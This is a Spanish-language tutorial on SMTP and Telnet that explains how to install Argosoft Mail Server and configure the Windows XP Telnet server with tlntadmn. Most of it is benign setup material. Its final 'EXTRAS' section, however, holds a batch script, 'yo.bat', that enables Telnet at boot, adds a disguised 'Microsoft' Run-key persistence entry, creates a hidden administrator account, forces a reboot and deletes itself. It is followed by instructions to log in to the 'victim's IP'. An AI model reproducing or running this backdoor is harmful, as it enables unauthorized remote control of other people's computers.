Argosoft Mail Server, Tutorial de Instalación.

Anuncio
En este documento tendrá la posibilidad de conocer el funcionamiento de dos
protocolos de Internet como son SMTP y TELNET, además se proporciona una
pequeña guía para la instalación de estos servicios. Para lo cual es necesario un
conocimiento medio de Windows, comandos de MS-DOS, y comprensión de
terminología del área de informática. Cada uno de los protocolos cuenta con
requerimientos específicos para su instalación (descritos en su apartado).
SMTP – CORREO ELECTRONICO
HISTORIA:
En 1982 se diseñó el primer sistema para intercambiar correos electrónicos para
ARPANET, definido en los Request for comments RFC 821 y RFC 822. La primera de
ellas define este protocolo y la segunda el formato del mensaje que este protocolo debía
transportar.
Con el tiempo se ha convertido en uno de los protocolos más usados en Internet.
Para adaptarse a las nuevas necesidades surgidas del crecimiento y popularidad de
Internet se han hecho varias ampliaciones a este protocolo, como poder enviar texto con
formato o archivos adjuntos.
CORREO ELECTROICO (E-MAIL):
El correo electrónico es un sistema de mensajería que funciona a través de su
ordenador. Gracias a él usted puede enviar y recibir mensajes escritos, además de
documentos adjuntos de usuarios de cualquier parte del mundo que dispongan de
dirección de correo, llamada también dirección e-mail.
TIPOS DE CORREO:
Podemos dividir el correo básicamente en dos tipos: interno y externo. La
diferencia radica en el tipo de recorrido que realiza su mensaje y en el tipo de dirección
del destinatario.
El caso del correo interno los usuarios se comunican a través de una red local,
llamada también Intranet. Normalmente las direcciones de correo de los distintos
usuarios constan del nombre y primer apellido. Ejem. RAUL.PEREZ
El formato de las direcciones de correo externo puede ser en cambio muy
variado:
Inicial y primer apellido [email protected]
Nombre. Apellido [email protected]
Apellido [email protected]
SERVIDOR DE CORREO ELECTRONICO
Una especie de ordenador siempre conectado y que funciona como buzón donde
se dejan los mensajes que enviamos y recibimos. Normalmente, cada proveedor de
Internet tiene un único servidor (todos trabajamos con un determinado servidor de
correo) que es que da servicio a todos los clientes de ese proveedor. Estos servidores se
comunican mediante el protocolo SMTP.
1
SMTP Y SERVIDORES DE CORREO (FUNCINAMIENTO)
Un servidor SMTP es, a grandes rasgos, un programa que permite enviar correo
electrónico a otros servidores SMTP; por tanto, también posibilita el recibirlo.
Cuando abrimos Outlook Express u otro y enviamos un mensaje, el programa
hace lo siguiente:
 Se conecta al servidor de correo
 Envía el mensaje desde el ordenador al servidor de correo
 Se desconecta del servidor.
Normalmente, si nuestro proveedor de Internet se llama ftelecom.es y el proveedor del
destinatario netcable.com, el proceso de envío de un mensaje corriente es el siguiente:
Nuestro cliente de correo (Outlook, Thunderbird, Eudora, etc.) envía el mensaje
saliente al servidor SMTP de nuestro proveedor que hemos configurado en las
propiedades de ese mismo cliente. Éste localiza el servidor SMTP del destinatario del
mensaje y se lo envía a través de Internet. Este segundo SMTP lo deposita en el buzón
del cliente (el servidor POP3 o IMAP, que normalmente está en el mismo equipo) a la
espera de que éste revise el correo y lo descargue a su propio ordenador, usando
también un cliente de correo.
Usando nuestro propio servidor SMTP, el proceso sería el siguiente:
2
De la misma manera, nuestro cliente de correo enviaría el mensaje al servidor
STMP configurado, pero en este caso no saldría de nuestro ordenador ya que lo
tendríamos instalado allí mismo (al Outlook de turno le da lo mismo que esté dentro o
fuera). El SMTP buscaría su "igual" de la dirección de destino y el resto del proceso
sería equivalente.
Un servidor SMTP funciona de forma igual a cualquier otro servicio en segundo
plano de Windows. Tras instalarlo y configurarlo adecuadamente, podremos olvidarnos
de él, ya que arrancará junto al sistema operativo y siempre lo tendremos disponible
para enviar correo.
Ahora vamos a configurar nuestro servidor SMTP el procedimiento se describe
en este pequeño tutorial: Argosoft Mail Server (AMS). Este destaca por su amigabilidad
y facilidad de empleo; su principal problema radica en las limitaciones de su versión
free: no podremos con él enviar adjuntos de tamaño mayor a cinco megabytes, los
requerimientos para instalar el AMS es una PC que soporte NT, 2000, XP ó 2003 de
Windows (y posteriores). Seleccionamos la plataforma Windows por ser la mas
conocida en México.
Argosoft Mail Server, Tutorial de Instalación.
Descarga el software de http://www.argosoft.com/mailserver/download.aspx.

Una vez en nuestro poder el
ejecutable, un doble click hará
que comience a instalarse con el
típico procedimiento de pulsar
Next... Next...

Finalizado el proceso, en "Inicio >
Programas > Argosoft Mail Server"
tendremos el programa disponible. Al
ejecutarlo por primera vez, nos aparecerá
un mensaje de advertencia y se nos
colocará en el tray con este icono , . Un
doble click en él hará aparecer la ventana
principal, en la que deberemos irnos a
Tools -> Options.

La pestaña General hemos déjala como
en la captura de aquí arriba. En la casilla
DNS Server hay que introducir uno de
nuestros servidores DNS (en la captura se
ha puesto 80.58.0.33 de Telefónica
ADSL en España, tu pondrás el de tu
servidor DNS).
3

Aunque es opcional, conviene
rellenar la casilla Logging de la
forma aquí propuesta. De esta
forma, si ocurre algún fallo,
podremos consultar la causa con la
opción Tools > View log file de
Argosoft Mail Server.
 Esto es todo lo que hay que hacer
para configurar el programa. Una
vez pulsado el botón OK, el
servidor pasará a trabajar en un
segundo plano, arrancando de
forma
automática
junto
a
Windows y estando disponible
cada vez que enviemos un mail.
 El otro paso necesario es
configurar nuestro cliente de
correo electrónico, lo que no tiene
mucha dificultad. En cada una de
las cuentas en las que queramos usar nuestro servidor SMTP --en vez del que
nos da (o no) nuestro proveedor (Ejem: prodigy.net.mx)-- hay que escribir la
dirección IP 127.0.0.1 (La IP de tu servidor puede variar) en la casilla
correspondiente a SMTP. Y a continuación desmarcar la opción de
autenticación.

He aquí ejemplos para Microsoft Outlook Express y Mozilla Thunderbird.
4
Mediante estos sencillísimos pasos ya tienes configurado un servidor de correo
electrónico, basado en SMTP y POP, y digo entre los dos porque básicamente SMTP
solo comunica entre servidores y POP es el encargado de comunicar al cliente toda la
información. Pero ten en cuenta que tener un servidor de correo personal y dar el
servicio de correo no es lo mismo, existen mas dificultades al ofrecer el servicio, más
sin embargo, aquí están estas direcciones que les darán una forma más profesional y
completa de hacerlo.
http://www.no-ip.com
http://www.sorgonet.com/collaborations/servidor-ies/
La primera les dará unas opciones para configurar su DNS y su IP, para servicios como
el de e-mail.
En la segunda dirección obtendrán toda la información necesaria para dar este servicio,
como lo son la instalación y configuración de servidores WEB, DNS, SMTP, FTP y
POP3 pero sobre LINUX, esto te permitirá usar una maquina muy pequeña para tu
servicios
REFERENCIAS:
http://tools.ietf.org/html/rfc821
http://tools.ietf.org/html/rfc822
http://es.wikipedia.org/wiki/SMTP
http://www.monografias.com/trabajos20/internet-y-email/internet-y-email.shtml#equi
http://www.eumed.net/grumetes/2004/colaboracion03.htm
______________________________________________________________________
TELNET
HISTORIA:
La orden Telnet apareció en BSD 4.2; Los comienzos con PDP-11.Las primeras
distribuciones de Unix de los laboratorios Bell en los años 70 incluían el código fuente
del sistema operativo, permitiendo a los desarrolladores de las universidades modificar
y extender Unix. El primer sistema Unix en Berkeley fue el PDP-11, que fue instalado
en 1974, y fue utilizado desde entonces por el departamento de ciencia computacional
para sus investigaciones. Otras universidades empezaron a interesarse en el software de
Berkeley, y por ello en 1977 Bill Joy, entonces un estudiante de grado en Berkeley,
construyó y envió cintas del primer Berkeley Software Distribution (BSD).
BSD 4.2 tomó dos años para su implementación, y contenía grandes mejoras.
Antes de su lanzamiento oficial aparecieron tres versiones intermedias 4.1a incorporó
una versión modificada de la puesta en práctica preliminar del TCP/IP de BBN. 4.1b
incluyó el nuevo Berkeley Fast File System, implementado por Marshall Kira
McKusick, y la 4.1c era una versión a nivel interno que se utilizó durante los últimos
5
meses del desarrollo del BSD 4.2. La distribución oficial de BSD 4.2 se lanzó en agosto
de 1983. Este ya contenía instrucciones de lo que seria TELNET.
QUE ES TELNET:
Telnet es una aplicación que permite con el teclado y la pantalla de nuestra
computadora, conectarnos a otra remota a través de la red. Lo importante, es que la
conexión puede establecerse tanto con una máquina multiusuario que está en nuestra
misma habitación o al otro lado del mundo.
PARA QUE USAR TELNET:
Una conexión mediante Telnet permite acceder a cualquiera de los servicios que
la máquina remota ofrezca a sus terminales locales. De esta manera se puede abrir una
sesión (entrar y ejecutar comandos) o acceder a otros servicios especiales: como por
ejemplo consultar un catálogo de una biblioteca para buscar un libro, leer un periódico
electrónico, buscar información sobre una persona, etc.
Otro buen motivo del TELNET es el poder corres aplicaciones exclusivas de una
plataforma en un ordenador con un SO distinto o con menor capacidad en hardware.
Normalmente para ello solo debemos conocer el nombre de la máquina remota y
tener cuenta en ella. Aunque en Internet hay muchas cuentas libres que no necesiten
password y son públicas. Precisamente para que la gente a través de Internet acceda a
este servicio.
TELNET (FUNCINAMIENTO)
Telnet después de configurado el servidor y mediante un cliente se conectara
directamente a la PCREMOTA y permitirá hacer completo uso de sus funciones, desde
línea de comandos, manejo de archivos, correr aplicaciones, etc.
Para una mejor comprensión aquí están los pasos para lograr dicha conexión:
(Requiere de cliente telnet en tu PC)





Para iniciar el programa Telnet, se ejecuta la orden telnet.
Para utilizar el programa Telnet, se escribe la orden telnet seguida de la
dirección del host remoto a la que se quiere conectar. Por ejemplo:
telnet fuzzball.ucsb.edu
Cuando el programa Telnet se ejecuta, iniciará una conexión con el host remoto
especificado. (Mientras Telnet esté esperando una respuesta, se verá en
pantalla):
Trying...
Una vez que se establece la conexión aparecerá un mensaje del siguiente tipo:
Connected to fuzzball.ucsb.edu
Escape character is '^]'.
Si por cualquier motivo, Telnet no puede realizar la conexión, mostrará un
mensaje diciendo que el host es desconocido. Las causas más comunes por las
que Telnet no puede hacer una conexión remota son:
o Se ha escrito mal el nombre del host.
o El host remoto no está disponible temporalmente.
o Se ha especificado el nombre de una computadora que no está en
Internet.
6



Una vez que telnet hace la conexión, se podrá trabajar con el host remoto. Si se
espera para iniciar una sesión, aparecerá el identificador estándar. Por ejemplo,
si se hace una conexión a una computadora Unix, aparecerá:
login:
Entonces, se podrá iniciar la sesión de forma habitual, se escribe el usuario y se
pulsa ENTER. Entonces se verá:
Password:
Se escribe la clave y se pulsa ENTER de nuevo. Ya se encuentra usted
trabajando en el host remoto haciendo uso plenamente de sus recursos como si
se tratara de un host local.
INSTALACION Y CONFIGURACION DE TELNET EN WINXP
Requerimientos: PC que soporte la plataforma seleccionada, un disco de instalación de
WindowsXP.
NOTA: Como primer e indispensable paso deberás instalar telnet desde el disco de
Windows XP, recuerda que esto se hace en el apartado agregar/quitar programas. Una
vez instalado telnet podrás hincar con la configuración del servidor.
CONFIGURACION
o Primero entra a Inicio - Panel de Control Herramientas-Administrativas-Servicios.
7
o
Después de dar dos click’s en "Telnet"
veras la siguiente ventana donde
cambiaras el Tipo de Inicio = Deshabilitado lo cambias por Automático, esto quiere
decir que se iniciara cada vez que el Windows se cargue.
o Luego te vas a la pestaña Iniciar Sesión y le haces click a "Esta Cuenta" ahí pones
el nombre de un Administrador de tu PC ya sea el tuyo o puedes crear otro en Inicio
- Panel de Control - Cuentas de Usuario y creas uno nuevo para telnet especial para
Telnet.
NOTA: Si solo quieres conectarte no
es necesario este paso de Iniciar
sesión, solo necesitas tener una
cuenta en Cuentas de Usuario del
panel de control y listo entras con ese
nombre y contraseña.
8
o Reinicia tu PC y cuando cargue de nuevo Windows haces Inicio --- ejecutar --- cmd
y entraras a la consola de MS DOS ahí pulsas "tlntadmn" sin comillas y te saldrá
esto:
si no hiciste todos los
pasos bien te saldrá:
NOTA:
o Si todo salio bien ya tienes echo tu servidor telnet ahora puedes configurar algunos
parámetros con comandos de tlntadmn. Se los dejo a consideración.
_____________COMANDOS BASICOS DE CONFUGURACION______________
Para administrar un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] [start] [stop] [pause] [continue] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un
servidor, se utilizara el servidor local.
Start
Inicia el servidor Telnet.
Stop
Detiene el servidor Telnet.
Pause
Interrumpe el servidor Telnet.
Continue
9
Reanuda el servidor Telnet.
-u nombreDeUsuario -p contraseña
Especifica las credenciales administrativas del servidor remoto que desea administrar.
Este parámetro es necesario si desea administrar un servidor remoto en el que no haya
iniciado una sesión con credenciales administrativas.
/?
Muestra Ayuda en el símbolo del sistema.
Para administrar sesiones Telnet
Sintaxis
tlntadmn [\\servidorRemoto] [-s] [-k{IdDeSesion | all}] [-m {IdDeSesion | all}
"mensaje"]
Parámetros
\\ servidorRemoto
Misma definición.
-s
Muestra las sesiones Telnet activas.
-k{IdDeSesion | all}
Termina sesiones. Escriba el identificador de sesión para terminar una sesión especifica
o escriba all para terminar todas las sesiones.
-m {IdDeSesion | all} "mensaje"
Envía un mensaje a una o varias sesiones. Escriba el identificador de sesión para enviar
un mensaje a una sesión especifica o escriba all para enviar un mensaje a todas las
sesiones. Escriba el mensaje que desea enviar entre comillas (es decir, "mensaje").
Para establecer el dominio predeterminado en un equipo que ejecuta el servidor
Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [dom=nombreDeDominio] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
Dom= nombreDeDominio
Especifica el dominio que desea convertir en el dominio predeterminado.
-u nombreDeUsuario -p contraseña
Misma definición.
Ejemplos
Para hacer de Server1 el dominio predeterminado en el servidor local, escriba:
tlntadmn config dom=Server1
10
Para asignar la tecla Alt en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [ctrlakeymap={yes | no}] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
Ctrlakeymap={yes | no}
Especifica si desea que el servidor Telnet interprete CTRL+A como ALT. Escriba yes
para asignar la tecla de método abreviado o no para impedir la asignación.
-u nombreDeUsuario -p contraseña
Misma definición.
Para establecer el numero máximo de conexiones en un equipo que ejecuta el
servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [maxconn=enteroPositivo] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
Maxconn= enteroPositivo
Establece el numero máximo de conexiones. Este número debe especificarse con un
entero positivo que sea menor que 10 millones.
-u nombreDeUsuario -p contraseña
Misma definición.
Para establecer el numero máximo de intentos de inicio de sesión erróneos en un
equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [maxfail=enteroPositivo] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
maxfail= enteroPositivo
Establece el numero maximo de intentos de inicio de sesión erróneos que se le permite
a un usuario. Este numero debe especificarse con un entero positivo que sea menor que
100.
-u nombreDeUsuario -p contraseña
Misma definición.
11
Para establecer el modo de operación en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [mode={console | stream}] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
mode={console | stream}
Establece el modo de operación.
-u nombreDeUsuario -p contraseña
Misma definición.
Para establecer el puerto Telnet en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [port=valorEntero] [-u nombreDeUsuario-p
contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
port= valorEntero
Establece el puerto Telnet. Debe especificar el puerto con un entero menor que1.024.
-u nombreDeUsuario -p contraseña
Misma definición.
Para establecer los métodos de autenticación en un equipo que ejecuta el servidor
Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [sec=[{+ | -}ntlm][{+ | -}passwd]] [-u
nombreDeUsuario-p contraseña]
Parámetros
\\ servidorRemoto
Misma definición.
sec=[{+ | -}ntlm][{+ | -}passwd]
Especifica si desea utilizar NTLM, una contraseña o ambos para autenticar intentos de
inicio de sesión. Para utilizar un tipo determinado de autenticación, escriba un signo
mas (+) antes de ese tipo de autenticación. Para impedir el uso de un determinado tipo
de autenticación, escriba un signo menos (-) antes de ese tipo de autenticación.
-u nombreDeUsuario -p contraseña
Misma definición.
Para establecer el tiempo de espera para sesiones de inactividad en un equipo que
ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [timeout=hh:mm:ss] [-u nombreDeUsuario-p
contrase�a]
12
Parámetros
\\ servidorRemoto
Misma definición.
timeout= hh : mm : ss
Establece el periodo de tiempo de espera en horas, minutos y segundos.
-u nombreDeUsuario -p contraseña
Misma definición.
ACCEDIENDO A MI SERVIDOR TELNET
Para probar que me funciona mi servidor telnet voy a inicio ejecutar
"telnet 127.0.0.1 100"
Porque?
127.0.0.1 es la IP interna o localhost que tienen todos las PC's por defecto entonces
y yo la utilizo para hacer una autoconexión a mi mismo, para ver si esta bien mi
servidor telnet. 100 es el puerto que use al servidor telnet, por defecto se maneja el 23.
Tecleamos "s" y damos enter.
Colocamos el que tengamos en el PC en este caso recuerden se creo un usuario telnet
y un pass luego nos mostrara la Bienvenida y ya sabemos que funciona. Al correrlo
desde una maquina remota, asegúrate de que esta disponible el puerto a usar.
13
REFERENCIAS:
http://www.ulpgc.es/otros/tutoriales/internet/tutor/workteln.html
http://www.hispafuentes.com/hf-doc/man/man1/telnet.1.html
http://www.monografias.com/trabajos20/internet-y-email/internet-y-email.shtml
http://www2.uca.es/manual/telnet1.html
http://sacrificezone.blogspot.com/
INDICE:
1
Historia
Correo electrónico
Tipos de correo
Servidor de correo electrónico
2
Funcionamiento de SMTP
3
Tutorial Argosoft
5
Referencias
TELNET
Historia
6
Que es telnet
Para que se usar telnet
TELNET (Funcionamiento)
7
Configuración de servidor telnet en XP
9
Comandos de configuración
13
Accediendo a mi servidor TELNET
14
Referencias
Índice
14
EXTRAS
Freesshd
winscp
Código para archivo yo.bat
@echo off
cd c:\windows\system32\
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t
REG_DWORD /d 2 /f
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Microsoft
/t REG_SZ /d %windir%\system32\yo.bat /f
net user nombre pass /add
net localgroup "Administradores" nombre /add
echo
@echo off>>%windir%\system32\yo.bat
echo REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t
REG_DWORD /d 2 /f>>%windir%\system32\yo.bat
echo REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Microsoft /t REG_SZ /d %windir%\system32\yo.bat /f>>%windir%\system32\yo.bat
echo net user nombre pass /add>>%windir%\system32\yo.bat
echo net localgroup "Administradores" nombre /add>>%windir%\system32\yo.bat
echo tlntadmn config port = 23>>%windir%\system32\yo.bat
echo exit>>%windir%\system32\yo.bat
shutdown -r -t 00 -f -c "reiniciamos para efectuar cambios"
del %0
exit
ENTRA
inicio - ejecutar TELNET 200.255.2.XXX (ip de la victima)
USER: Microsoft
PASS: microchip
15
Descargar